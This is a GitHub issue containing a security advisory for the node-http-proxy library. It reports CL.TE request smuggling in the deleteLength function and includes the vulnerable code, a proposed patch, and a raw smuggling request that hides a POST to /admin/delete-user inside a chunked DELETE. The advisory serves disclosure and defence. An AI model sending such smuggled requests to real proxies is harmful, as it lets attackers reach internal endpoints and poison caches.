node-http-proxy icon indicating copy to clipboard operation
node-http-proxy copied to clipboard

Security: CL.TE request smuggling in deleteLength (CVE-2026-29057 root cause, upstream unpatched)

Open Black1hp opened this issue 3 months ago • 1 comments

Security Advisory: http-proxy — CL.TE Request Smuggling in deleteLength

Reported by: Black1hp
Package: http-proxy
Affected versions: <= 1.18.1 (all versions since v0.9.0)
Severity: High (CVSS ~8.1)
CWE: CWE-444 — Inconsistent Interpretation of HTTP Requests
GitHub: https://github.com/http-party/node-http-proxy


Summary

http-proxy converts DELETE and OPTIONS requests that have Transfer-Encoding: chunked (but no Content-Length) into requests with Content-Length: 0 and removes the Transfer-Encoding header. The original body is still forwarded to the backend. A backend that honors Content-Length will stop reading after 0 bytes and treat the remaining bytes as a new HTTP request, enabling CL.TE request smuggling.

This is the same root cause that was assigned to Next.js as CVE-2026-29057, but the upstream http-proxy library remains unpatched.


Root Cause

In lib/http-proxy/passes/web-incoming.js:

deleteLength: function deleteLength(req, res, options) {
  if ((req.method === 'DELETE' || req.method === 'OPTIONS')
      && !req.headers['content-length']) {
    req.headers['content-length'] = '0';
    delete req.headers['transfer-encoding'];
  }
}

The function:

  1. Triggers when the method is DELETE or OPTIONS.
  2. Checks only for the absence of Content-Length, not for the presence of Transfer-Encoding.
  3. Sets Content-Length: 0.
  4. Deletes Transfer-Encoding.

The request body is still piped to the backend via req.pipe(proxyReq) in the stream pass. Because the backend now sees Content-Length: 0 and no Transfer-Encoding, it does not consume the body. The body bytes remain on the connection and are parsed as the start of the next request.


Reproduction

Header transformation

const passes = require('http-proxy/lib/http-proxy/passes/web-incoming.js');

const req = {
  method: 'DELETE',
  headers: {
    'transfer-encoding': 'chunked',
    'host': 'example.com'
  }
};

console.log('Before:', req.headers);
passes.deleteLength(req, {}, {});
console.log('After:', req.headers);
// { 'host': 'example.com', 'content-length': '0' }

Full smuggling request

The attacker sends:

DELETE /api/resource HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

34
POST /admin/delete-user HTTP/1.1
Content-Length: 20

0

The proxy forwards:

DELETE /api/resource HTTP/1.1
Host: example.com
Content-Length: 0

POST /admin/delete-user HTTP/1.1
Content-Length: 20

Runtime verification

A live test with http-proxy 1.18.1 produced the following raw bytes on the backend socket:

DELETE /api/resource HTTP/1.1
content-length: 0
host: 127.0.0.1:9000
connection: close

POST /admin/delete-user HTTP/1.1
Content-Length: 20

This confirms the desync: the POST request remains on the connection after the DELETE is terminated by Content-Length: 0.


Impact

  • Request smuggling: Inject arbitrary second requests to the backend.
  • Access internal endpoints: Bypass proxy routing and reach admin/internal paths.
  • Session hijacking: Smuggled requests may reuse the victim's connection context.
  • Cache poisoning: Smuggled responses can poison shared caches.

Preconditions

  1. Application uses http-proxy to forward requests to a backend.
  2. Backend uses Content-Length to determine request boundaries.
  3. Proxy-to-backend connection is reused (HTTP keep-alive).
  4. Attacker can send DELETE or OPTIONS requests with a chunked body.

Suggested Fix

Apply the same fix Next.js used for CVE-2026-29057. Only set Content-Length: 0 when both Content-Length and Transfer-Encoding are absent, and do not delete Transfer-Encoding:

deleteLength: function deleteLength(req, res, options) {
  if ((req.method === 'DELETE' || req.method === 'OPTIONS')
      && !req.headers['content-length']
      && !req.headers['transfer-encoding']) {
    req.headers['content-length'] = '0';
  }
}

Additionally, the library should avoid changing the framing of a request that already carries Transfer-Encoding: chunked.


Relationship to CVE-2026-29057

CVE-2026-29057 was assigned to Next.js for this same root cause. Next.js fixed it in versions 15.5.13 and 16.1.7 by updating the vendored http-proxy code. The upstream http-proxy package, however, has not released a patched version. It has ~3M weekly downloads and has not had a release since 2020.


Reporter Notes

  • I can provide a complete standalone Node.js PoC that demonstrates the smuggling end-to-end.
  • I am happy to help validate a patch or provide additional test cases.

Black1hp avatar Aug 21 '26 11:08 Black1hp

Closing this public issue. The report will be sent directly to the maintainer emails for coordinated disclosure instead.

Black1hp avatar Aug 21 '26 11:08 Black1hp